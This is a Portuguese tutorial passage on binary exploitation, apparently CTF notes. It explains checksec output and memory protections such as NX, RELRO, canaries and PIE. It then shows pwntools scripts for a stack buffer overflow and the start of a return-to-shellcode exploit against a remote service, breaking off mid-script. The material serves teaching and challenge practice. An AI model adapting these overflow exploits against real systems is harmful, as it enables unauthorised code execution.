Para identificar que tipo de exploração é possível dentro do binário fornecido, você pode usar o:
```
checksec --file=executable.bin
```
A saída do comando pode lhe dizer algumas informações uteis:
```markdown
- NX - NX (No eXecute) é uma proteção que marca a pilha como não executável. Isso impede que shellcode injetado na pilha seja executado diretamente.
- RELRO - RELRO (Relocation Read-Only) protege contra ataques que modificam a GOT (Global Offset Table), uma tabela usada para resolver endereços de funções dinâmicas.
- STACK CANARY - É uma proteção que insere um valor aleatório (canário) na pilha antes do endereço de retorno. Se um estouro de buffer sobrescrever o canário, o programa detecta a alteração e encerra a execução.
- PIE - PIE (Position Independent Executable) torna o binário independente de posição, randomizando os endereços de memória onde o código é carregado (uma forma de ASLR - Address Space Layout Randomization).
- RPATH - RPATH define caminhos fixos para bibliotecas dinâmicas que o binário usa
- RUNPATH - Similar ao RPATH, mas com prioridade mais baixa (usado depois de LD_LIBRARY_PATH).
- FORTIFY - FORTIFY_SOURCE é uma proteção que substitui certas funções inseguras (ex.: strcpy) por versões seguras que verificam limites.
```
Exemplo de exploração com entrada com scanf.
```python
#!/usr/bin/env python3
from pwn import *
context.update(arch="amd64", os="linux")
payload = b"A" * (0x70 - 0x8)
payload += p32(0xc0d3)
payload += p32(0xc0ff33)
process = process("./binary.bin")
# process = remote("xxx", 9002)
process.clean()
process.sendline(payload)
process.interactive()
```
Exemplo de exploração para NX desativado:
```python
#!/usr/bin/env python3
#
# Exploit: return to shellcode
# Smash the stack to inject a shellcode and return to that shellcode.
# This exploit requires an executable stack (i.e., NX is off)
from pwn import *
import re
context.update(arch="amd64", os="linux")
process = process("./binary.bin")
process = remote("xxx", 9004)
text = process.recvline_containsS("I'm waiting for you at", timeout=3)
addr_search = re.search(r'(0x[0-9a-f]+)